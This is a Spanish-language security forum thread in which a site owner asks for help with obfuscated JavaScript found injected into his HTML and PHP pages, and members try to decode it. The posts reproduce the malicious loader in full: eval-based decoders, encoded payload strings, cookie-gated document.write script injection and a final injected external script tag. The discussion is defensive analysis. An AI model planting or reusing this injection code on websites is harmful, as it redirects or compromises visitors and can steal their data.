Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: Cergath en 11 Noviembre 2010, 21:40 pm



Título: virus en archivo html? / y algunos php
Publicado por: Cergath en 11 Noviembre 2010, 21:40 pm
Hola... parece que hackearon un sitio que tenia, nada importante pero me preocupa, es de un VPS asi que tengo todos los permisos, tiene cpanel instalado...

en mis archivos index o home aparecieron de la nada estos codigos js:
Citar
<script language="javascript">
var kasbd3412 = "";
$$ = function () { try{kasbd3412= $$dfsd(gnflseejrr()); kasbd3412.do(); } catch(e){ var bn = ""; return kasbd3412;}};
var adlan3r$oubw = "e";$$dfsd =  this['a'+'s'+'d'];var adlan3r$ouaw = "a";
function asd(df_){this['r']="";
var s = df_;
for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ){i=__fh;if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z'){this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'} else {this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])}this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)}
return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)}
var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];
});
VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);
});
function gnflseejrr() {return $a}var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1'; BKbk34b32=

Mas abajo luego de mas codigo.
Citar
var $a = BKbk34b32.replace(/98/g, "Z");
ez[String.fromCharCode(101,118,97)+'l']($$())
</script>
<script language="javascript">
var kasbd3412 = "";
$$ = function () { try{kasbd3412= $$dfsd(gnflseejrr()); kasbd3412.do(); } catch(e){ var bn = ""; return kasbd3412;}};
var adlan3r$oubw = "e";$$dfsd =  this['a'+'s'+'d'];var adlan3r$ouaw = "a";
function asd(df_){this['r']="";
var s = df_;
for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ){i=__fh;if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z'){this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'} else {this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])}this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)}
return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)}
var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];
});
VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);
});
function gnflseejrr() {return $a}var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1'; BKbk34b32=

Sigue mas y mas codigo hasta que acaba:
Citar
var $a = BKbk34b32.replace(/98/g, "Z");
ez[String.fromCharCode(101,118,97)+'l']($$())
</script>

Que podra ser?


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 11 Noviembre 2010, 22:07 pm
Finalmente, el código queda así, dejame debugearlo y miro a ver que hace.
Código
  1. <script language="javascript">
  2.    var kasbd3412 = "";
  3.    $$ = function() {
  4.        try {
  5.            kasbd3412 = $$dfsd(gnflseejrr());
  6.            kasbd3412.do();
  7.        } catch (e) {
  8.            var bn = "";
  9.            return kasbd3412;
  10.        }
  11.    };
  12.    var adlan3r$oubw = "e";
  13.    $$dfsd = this['a' + 's' + 'd'];
  14.    var adlan3r$ouaw = "a";
  15.  
  16.    function asd(df_) {
  17.        this['r'] = "";
  18.        var s = df_;
  19.        for (__fh = 0; this['__fh'] < s['l' + adlan3r$oubw + 'ng' + 't' + 'h']; __fh++) {
  20.            i = __fh;
  21.            if (s['ch' + adlan3r$ouaw + 'rA' + 't'](i) == 'Z') {
  22.                this[neAR_DEF_FGEvftDSyTtnSoh_1] = '%'
  23.            } else {
  24.                this[neAR_DEF_FGEvftDSyTtnSoh_1] = s['ch' + 'ar' + 'At'](this['i'])
  25.            }
  26.            this['r'] = r + VAR_EZJrWcTGuhPYZJj(this, neAR_DEF_FGEvftDSyTtnSoh_1)
  27.        }
  28.        return this['unesc' + adlan3r$ouaw + 'p' + adlan3r$oubw](r)
  29.    }
  30.    var ez = window
  31.    VAR_AiCzwbiiMdphDXs = (function(VAR_JMFILTCeLQNWkAf, VAR_gqWQtFFAsjjtVqK) {
  32.        return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];
  33.    });
  34.    VAR_EZJrWcTGuhPYZJj = (function(VAR_wiSIHKenjOMRPsE, VAR_SfXtSSNCWJXwgQF) {
  35.        return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE, VAR_SfXtSSNCWJXwgQF);
  36.    });
  37.  
  38.    function gnflseejrr() {
  39.        return $a
  40.    }
  41.    var neAR_DEF_FGEvftDSyTtnSoh_1 = 's' + '1';
  42.    BKbk34b32 =
  43.    var $a = BKbk34b32.replace(/98/g, "Z");
  44.    ez[String.fromCharCode(101, 118, 97) + 'l']($$())
  45. </script>
  46. <script language="javascript">
  47.    var kasbd3412 = "";
  48.    $$ = function() {
  49.        try {
  50.            kasbd3412 = $$dfsd(gnflseejrr());
  51.            kasbd3412.do();
  52.        } catch (e) {
  53.            var bn = "";
  54.            return kasbd3412;
  55.        }
  56.    };
  57.    var adlan3r$oubw = "e";
  58.    $$dfsd = this['a' + 's' + 'd'];
  59.    var adlan3r$ouaw = "a";
  60.  
  61.    function asd(df_) {
  62.        this['r'] = "";
  63.        var s = df_;
  64.        for (__fh = 0; this['__fh'] < s['l' + adlan3r$oubw + 'ng' + 't' + 'h']; __fh++) {
  65.            i = __fh;
  66.            if (s['ch' + adlan3r$ouaw + 'rA' + 't'](i) == 'Z') {
  67.                this[neAR_DEF_FGEvftDSyTtnSoh_1] = '%'
  68.            } else {
  69.                this[neAR_DEF_FGEvftDSyTtnSoh_1] = s['ch' + 'ar' + 'At'](this['i'])
  70.            }
  71.            this['r'] = r + VAR_EZJrWcTGuhPYZJj(this, neAR_DEF_FGEvftDSyTtnSoh_1)
  72.        }
  73.        return this['unesc' + adlan3r$ouaw + 'p' + adlan3r$oubw](r)
  74.    }
  75.    var ez = window
  76.    VAR_AiCzwbiiMdphDXs = (function(VAR_JMFILTCeLQNWkAf, VAR_gqWQtFFAsjjtVqK) {
  77.        return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];
  78.    });
  79.    VAR_EZJrWcTGuhPYZJj = (function(VAR_wiSIHKenjOMRPsE, VAR_SfXtSSNCWJXwgQF) {
  80.        return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE, VAR_SfXtSSNCWJXwgQF);
  81.    });
  82.  
  83.    function gnflseejrr() {
  84.        return $a
  85.    }
  86.    var neAR_DEF_FGEvftDSyTtnSoh_1 = 's' + '1';
  87.    BKbk34b32 =
  88.    var $a = BKbk34b32.replace(/98/g, "Z");
  89.    ez[String.fromCharCode(101, 118, 97) + 'l']($$())
  90. </script>


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 12 Noviembre 2010, 02:23 am
Uyy que bueno, por fav or informame de los resultados que obtienes :/ and o algo preo cupad o


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 12 Noviembre 2010, 22:45 pm
tenes a lgo? es que m´e preocup´a bastante y no se si sea alarmante


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 13 Noviembre 2010, 04:07 am
Bueno, mirándolo, solo pude decodificar algunas variables. Pero aún falta, solo que esta el código donde esta definido las variables y funciones, pero no esta el código donde se invoca estás. Esto es importa ya que vemos los parámetros que son pasados a las funciones.

Intenta buscar más código.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 13 Noviembre 2010, 16:35 pm
t agrade zco mucho tu tiem´po, de veras ;-) tiene´s idea de como pudo infectarse? o que carajos puede hacer ese codigo?...

pd. no ocnozco mas de ese codigo, por ahora es l o unico que tengo, permite me buscar mas ;)


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 13 Noviembre 2010, 16:39 pm
Pues, cuando estuve trabajando en una empresa XXX -que por cierto, son unos *****, cabrones, hijos de p**a- cof, cof... Se les entro un virus así a todas las paginas que tenían alojadas en el servidor. Pero lo que hacia era SPAM. En este no se que es lo que hace. XD, tendría que ver los parámetros enviados.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 13 Noviembre 2010, 20:57 pm
m mm puede ser que el pc tenga spyware y la maquina infectada que se conecta al pc haya infectado los archivos? porque por el vps, estoy ciertamente seguro de que no esta infectado, lo dudo muuuuucho...


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 13 Noviembre 2010, 21:25 pm
Sería bastante bueno, que pusieras todo el código de algún archivo infectado. A ver si se logra mirar los parámetros.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 14 Noviembre 2010, 16:10 pm
hla d nuevo, perdona digitar asi pero dsde un cel es complikdo, en fin...

primero que todo de verdad te agradezco mas que todo tu tiempo, en verdad,muchisimas gracias....

esta es una recopilacion de algunos archivos infectados  que hi ce antes de eliminarlos, m i primera reac cion fue limpiar,luego deje unos pocos..
http://www.megaupload.com/?d=8CJHD9RM

algunos contienen es un codigo n php...

y bueno, aunque no descubramos bien que es, sabes de q se trata? q tipo de vulnerabilidad o malware puede ser? generalmente q hace y como puedo prvenirlo?


gracias


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 15 Noviembre 2010, 17:25 pm
Ok, ya lo estoy analizando, esta un poco entretenido. XD Dejadme analizarlo más y te dejo el resultado, por ahora veo como una redirección a una URL que aún no he podido descubrir cual es.

Tengo decodificado esto,
Código
  1. de = "!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8ts%7F}79+m";
  2. dd = "08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
  3. ca = "%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%";
  4. cz = "%66u%6ect%69on%20cz%28cz%29%7bretur%6e ca%2bc%62%2bcc%2b%63d+c%65%2bcz%3b};";
  5. cb = "28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";
  6. dz = "%66un%63ti%6fn%20dw%28t%29%7bca%3d%27%2564oc%2575m%65%256et%2ew%2572%2569te%2528%2522%27;ce%3d%27%2522)%27;cb%3d%27%253c%2573cri%2570t l%2561n%2567%75a%67%25%365%253d%255%63%2522ja%76as%63%2572i%70%2574%255%63%2522%253e%27;c%63%3d%27%253c%255c%252fs%63ri%70t%253e%27;wi%6ed%6fw[%22e%22+%22%22+ %22v%22+%22al%22](unes%63ape%28t)%29}%3b";
  7. da = "fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
  8. cc = "%67%74h;%69++%29%7bt%6dp%3dds.s%6cic%65(i%2ci+1%29;%73";
  9. ce = "cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";
  10. op = "%24a%3d%22dw(dcs(%63%75,1%34%29)%3b%22;";
  11. st = "%73t%3d%22$%61%3d%73t%3bd%63s%28%64%61%2b%64%62+%64%63+%64%64%2b%64%65,%31%30)%3bd%77(%73t%29;%73%74%3d$a%3b%22%3b";
  12. db = "7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
  13. dc = "rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
  14. cu = "(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;y}%7F;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
  15. cd = "%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";
  16.  
  17. if (document.cookie.indexOf('rf5f6ds') == -1) {
  18.  function callback(x) {
  19.    window.tw = x;
  20.    var d = new Date();
  21.    d.setTime(x["as_of"] * 1000);
  22.    var h = d.getUTCHours();
  23.    window.h = h;
  24.    if (h > 8) {
  25.      d.setUTCDate(d.getUTCDate() - 2);
  26.    } else {
  27.      d.setUTCDate(d.getUTCDate() - 3);
  28.    }
  29.    window.gd = d;
  30.    var time = new Array();
  31.    var shiftIndex = "";
  32.    time["year"] = d.getUTCFullYear();
  33.    time["month"] = d.getUTCMonth() + 1;
  34.    time["day"] = d.getUTCDate();
  35.    if (d.getUTCMonth() + 1 < 10) {
  36.      shiftIndex = time["year"] + "-0" + (d.getUTCMonth() + 1);
  37.    } else {
  38.      shiftIndex = time["year"] + "-" + (d.getUTCMonth() + 1);
  39.    }
  40.    if (d.getUTCDate() < 10) {
  41.      shiftIndex = shiftIndex + "-0" + d.getUTCDate();
  42.    } else {
  43.      shiftIndex = shiftIndex + "-" + d.getUTCDate();
  44.    }
  45.    document.write("" + "");
  46.  }
  47.  function callback2(x) {
  48.    window.tw = x;
  49.    sc('rf5f6ds', 2, 7);
  50.    eval(unescape(dz + cz + op + st) + 'dw(dz+cz($a+st));');
  51.   /*
  52. function dw(t) {
  53.   ca = 'document.write("';
  54.   ce = '")';
  55.   cb = '<script language=\"javascript\">';
  56.   cc = '<\/script>';
  57.   window["eval"](unescape(t))
  58. };
  59.  
  60. function cz(cz) {
  61.   return ca + cb + cc + cd + ce + cz;
  62. };
  63. $a = "dw(dcs(cu,14));";
  64. st = "$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";
  65. dw(dz + cz($a + st));
  66.     */
  67.  
  68.    document.write($a);
  69.  }
  70.  document.write(" " + "");
  71. } else {
  72.  $a = ''
  73. };
  74.  
  75. function sc(cnm, v, ed) {
  76.  var exd = new Date();
  77.  exd.setDate(exd.getDate() + ed);
  78.  document.cookie = cnm + '=' + escape(v) + ';expires=' + exd.toGMTString();
  79. };


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 22 Noviembre 2010, 01:09 am
Hola Shell, como has estado? disculpame el atrevimiento, pero me gustaria saber si tienes alguna novedad respecto a esto, seria genial :)


Título: Re: virus en archivo html? / y algunos php
Publicado por: WHK en 6 Diciembre 2010, 15:24 pm
por lo menos no afecta sea lo que sea porque en firefox me da error de sintaxis, está mal codeado o el código está incompleto :-/

Error: syntax error
Archivo de origen: file:///C:/Users/Yan/Desktop/ver.html
Línea: 28
Código fuente:
var $a = BKbk34b32.replace(/98/g, "Z");

asi que no pude hacerle un debugg.


Título: Re: virus en archivo html? / y algunos php
Publicado por: berz3k en 30 Diciembre 2010, 01:43 am
Yo encontre en mis servers un php tambien bastante extranio despues de decodearlo me encontre que hacia peticiones a otra page "redirect" enviando todos mis formularios y/o contrasenias que alojaba, ademas de buscar servidores "Relaying" para SPAM.

bajare el file y ya os cuento.

-berz3k.


Título: Re: virus en archivo html? / y algunos php
Publicado por: berz3k en 30 Diciembre 2010, 02:07 am
Pues no pude bajar el file de megaupload, podras treparlo a otro site

-berz3k.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 30 Diciembre 2010, 07:20 am
El link funciona correctamente  :silbar:


Título: Re: virus en archivo html? / y algunos php
Publicado por: berz3k en 4 Enero 2011, 22:33 pm
@Shell Root Algo pasa con mis Addons de Chrome, lo podras subir a
:http://rghost.net/

-berz3k.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Shell Root en 5 Enero 2011, 06:28 am
:http://rghost.net/3867259


Título: Re: virus en archivo html? / y algunos php
Publicado por: berz3k en 5 Enero 2011, 08:50 am
Lo tengo ya os cuento.

-berz3k.


Título: Re: virus en archivo html? / y algunos php
Publicado por: Cergath en 12 Febrero 2011, 21:54 pm
Otra vez sucede, ahora con:
<scri pt ty pe="text/jav ascript" src=" http://merchant.aegispayments.com/in.cgi?default" ></sc ript>